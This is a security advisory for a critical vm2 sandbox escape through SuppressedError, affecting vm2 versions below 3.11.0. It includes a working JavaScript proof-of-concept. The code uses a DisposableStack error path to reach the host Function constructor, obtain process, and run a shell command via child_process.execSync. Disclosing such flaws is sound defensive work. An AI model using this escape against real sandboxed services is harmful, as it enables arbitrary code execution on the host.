GHSA-55hx-c926-fr95CriticalCVSS 9.8

VM2 Has a Sandbox Escape Issue via SuppressedError

Published
May 5, 2026
Last Modified
November 4, 2026

🔗 CVE IDs covered (1)

📋 Description

In vm2 v3.10.4 on Node.js v24.13.0, SuppressedError allows attackers to escape the sandbox and run arbitrary code.

PoC

const { VM } = require("vm2");

const vm = new VM();

vm.run(`
const ds = new DisposableStack();
ds.defer(() => { throw null; });
ds.defer(() => {
  const e = Error();
  e.name = Symbol();
  e.stack;
});
try {
  ds.dispose();
} catch(e) {
  const Function = e.suppressed.constructor.constructor;
  const process = new Function("return process;")();
  const { execSync } = process.mainModule.require("node:child_process");
  execSync("echo pwned", { stdio: "inherit" });
}
`);

🎯 Affected products1

  • npm/vm2:< 3.11.0

🔗 References (12)